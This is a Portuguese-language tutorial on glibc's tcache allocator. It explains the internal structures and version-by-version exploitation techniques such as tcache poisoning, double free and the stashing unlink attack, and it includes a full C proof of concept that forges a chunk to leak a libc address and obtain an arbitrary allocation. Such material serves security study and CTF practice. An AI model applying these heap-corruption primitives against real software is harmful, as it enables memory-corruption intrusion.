Arquitetura e Funcionamento do Tcache
Introduzido no glibc a partir da versão 2.26, o Thread Local Cache (tcache) é um mecanismo de otimização projetado para acelerar drasticamente as operações de alocação e liberação de memória. Sua prioridade de execução é máxima: ao liberar um chunk que não seja classificado como large chunk, o alocador verifica primeiramente a capacidade do tcache. Apenas se o tcache estiver cheio ou incompatível, o gerenciamento recorrerá às fastbins, unsorted bin, entre outras. Da mesma forma, solicitações de memória (exceto via mmap) consultam o tcache antes de qualquer outra estrutura.
No código-fonte do glibc, o tcache é estruturado e mantido por duas definições principais:
/* Estrutura sobreposta à porção de dados do usuário quando o chunk está no cache por thread. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* Estrutura por thread que gerencia o cache (tcache_perthread_struct).
Mantém o tamanho geral baixo. COUNTS e ENTRIES são redundantes, mas mantidos para performance. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
// No glibc 2.26 a 2.29: counts tem 1 byte. Tamanho total: 1*64 + 8*64 = 0x250 (com cabeçalho).
// No glibc 2.30+: counts tem 2 bytes. Tamanho total: 2*64 + 8*64 = 0x290 (com cabeçalho).
O tcache_entry é inserido na área de dados do usuário do chunk, atuando de forma similar ao ponteiro fd das fastbins. Uma diferença crucial é que os ponteiros no tcache apontam diretamente para o endereço de início dos dados do usuário, e não para o cabeçalho do chunk.
Cada thread possui sua própria tcache_perthread_struct, alocada no início do segmento de heap. Chunks menores que o limite das largebins são direcionados para cá. Cada tamanho possui sua própria lista no tcache, com um limite máximo de 7 chunks. O array counts armazena a quantidade atual de chunks por tamanho, enquanto entries guarda o ponteiro para o início da lista encadeada.
As operações centrais de manipulação são:
static void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
static void * tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
A função tcache_put é acionada durante o free, utilizando chunk2mem para garantir que o ponteiro aponte para a memória do usuário. A tcache_get é usada no malloc para recuperar chunks livres.
Chunks liberados para o tcache não sofrem coalescimento (união) com blocos adjacentes livres. Essa regra também se aplica ao Top chunk. Durante a alocação, se o tcache estiver vazio, o glibc pode mover chunks de fastbins, smallbins ou unsorted bin para o tcache. O comportamento de retorno depende da origem:
| Cenário | Se o Tcache estiver cheio | Após inserção no Tcache (se não cheio), de onde o chunk é retornado? |
|---|---|---|
| Fastbin | Interrompe a movimentação e retorna o chunk obtido inicialmente. | Retorna o chunk obtido inicialmente; os demais permanecem no Tcache. |
| Smallbin | Interrompe a movimentação e retorna o chunk obtido inicialmente. | Retorna o chunk obtido inicialmente; os demais permanecem no Tcache. |
| Unsorted Bin | Retorna diretamente o chunk atual encontraod. | Retorna um chunk do início da lista do Tcache (LIFO). |
Vetores de Ataque e Exploração
Tcache Poisoning
Consiste em modificar o ponteiro next para forçar o malloc a retornar um endereço arbitrário.
- glibc 2.26 a 2.27 (versões iniciais): Não existem proteções. Alterar o
nextpermite alocação arbitrária sem restrições de tamanho, superando as limitações dasfastbin attacks. - glibc 2.27 (versões finais) a 2.29: O campo
bkdo chunk passa a armazenar o endereço datcache_perthread_struct. Isso não impede o poisoning, mas permite o vazamento do endereço base do heap. (Nota: a partir do 2.34, obké randomizado). Este valor uniforme debkatua como umakeypara mitigardouble free. - glibc 2.31: Introduzida a verificação do
count. Secount == 0, a função retorna antes de acessarentries. O atacante deve garantir que onextinicial do chunk envenenado não seja nulo para satisfazer a condição. - glibc 2.32+: Implementação de criptografia de ponteiros e verificação de alinhamento. O ponteiro
nexté ofuscado:next = (addr >> 12) ^ target, ondeaddré o endereço do usuário do chunk atual. É necessário vazar um endereço de heap próximo para deduzir a chave(addr >> 12).
Tcache Double Free
- glibc 2.26 a 2.27 (inicial): Nenhuma verificação é realizada; liberar o mesmo chunk múltiplas vezes é permitido.
- glibc 2.27+: O
freevalida se obkdo chunk corersponde àkeyglobal. Se corresponder, o glibc percorre a lista do tcache para verificar duplicidade. Para contornar, o atacante precisa sobrescrever obkdo chunk antes de liberá-lo novamente.
Tcache House of Spirit
A técnica é simplificada em relação às fastbins. Ao forjar um chunk para o tcache, não há validação rigorosa sobre o campo de tamanho (size) do next_chunk.
Hijacking da tcache_perthread_struct
Se o atacante conseguir alocar memória sobre a tcache_perthread_struct (geralmente via arbitrary alloc), é possível manipular diretamente os arrays counts e entries. Isso permite bypass de limites de alocação ou injeção de ponteiros para alocação arbitrária. Como a estrutura reside no início do heap, técnicas de partial overwrite são frequentemente suficientes para atingi-la.
Tcache Stashing Unlink Attack
Aplicável nas versões 2.27 a 2.33. Esta técnica explora a transição de chunks da smallbin para o tcache durante chamadas de calloc. O calloc não consulta o tcache diretamente, mas ao buscar na smallbin, se o tcache tiver espaço, o glibc move chunks da smallbin para o tcache. A validação de integridade da lista (unlink check) é aplicada apenas ao último chunk da smallbin (bck->fd == victim). Chunks intermediários não são verificados, permitindo a injeção de um fake chunk.
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long stack_buffer[0x10] = {0};
unsigned long *heap_ptrs[0x10] = {0};
unsigned long *arbitrary_alloc;
printf("=== Tcache Stashing Unlink Attack ===\n\n");
// Emula um fake chunk na stack.
// Configura o ponteiro 'bk' (índice 3) para apontar para o índice 2.
// Isso satisfaz a verificação bck->fd = bin e permite vazar um endereço da libc
// para stack_buffer[4] durante a operação de unlink.
stack_buffer[3] = (unsigned long)(&stack_buffer[2]);
printf("Endereco do fake chunk: %p\n", (void*)stack_buffer);
printf("Valor inicial no alvo do vazamento (indice 4): %p\n\n", (void*)stack_buffer[4]);
// Passo 1: Alocar 9 chunks de 0x90 bytes
for (int i = 0; i < 9; i++) {
heap_ptrs[i] = (unsigned long*)malloc(0x90);
}
// Passo 2: Popula o tcache com 6 chunks
for (int i = 3; i < 9; i++) {
free(heap_ptrs[i]);
}
// Passo 3: Preenche o tcache completamente (max 7 chunks)
free(heap_ptrs[1]);
// Passo 4: Move os chunks restantes para a unsorted bin
free(heap_ptrs[0]);
free(heap_ptrs[2]);
// Passo 5: Trigger de consolidação para mover chunks da unsorted para a smallbin
malloc(0xa0);
// Passo 6: Libera espaço no tcache alocando 2 chunks
malloc(0x90);
malloc(0x90);
// Passo 7: Vulnerabilidade - Sobrescreve o ponteiro 'bk' de um chunk na smallbin
// O alvo é heap_ptrs[2], que agora reside na smallbin.
heap_ptrs[2][1] = (unsigned long)stack_buffer;
printf("Ponteiro 'bk' do chunk na smallbin sobrescrito para: %p\n\n", (void*)stack_buffer);
// Passo 8: Trigger do mecanismo de stashing usando calloc
// calloc ignora o tcache e requisita da smallbin.
// O primeiro chunk é retornado ao usuário, e o segundo (nosso chunk forjado)
// é movido (stashed) para o tcache.
calloc(1, 0x90);
printf("Fake chunk movido com sucesso para o tcache.\n");
printf("Endereco da libc vazado no indice 4: %p\n\n", (void*)stack_buffer[4]);
// Passo 9: Alocar o chunk forjado a partir do tcache
arbitrary_alloc = malloc(0x90);
printf("Alocacao controlada retornou: %p\n", (void*)arbitrary_alloc);
return 0;
}
Os requisitos fundamentais para esta técnica incluem: a presença de pelo menos dois chunks na smallbin; a capacidade de sobrescrever o bk de um chunk que não seja o cauda da lista (preferencialmente o cabeça); a configuração do bk do fake chunk para um endereço gravável (pois o glibc escreverá um andereço da main_arena em bk->fd); e o uso de calloc para forçar o movimento do chunk forjado para o tcache, posicionando-o no início da lista para a subsequente alocação via malloc.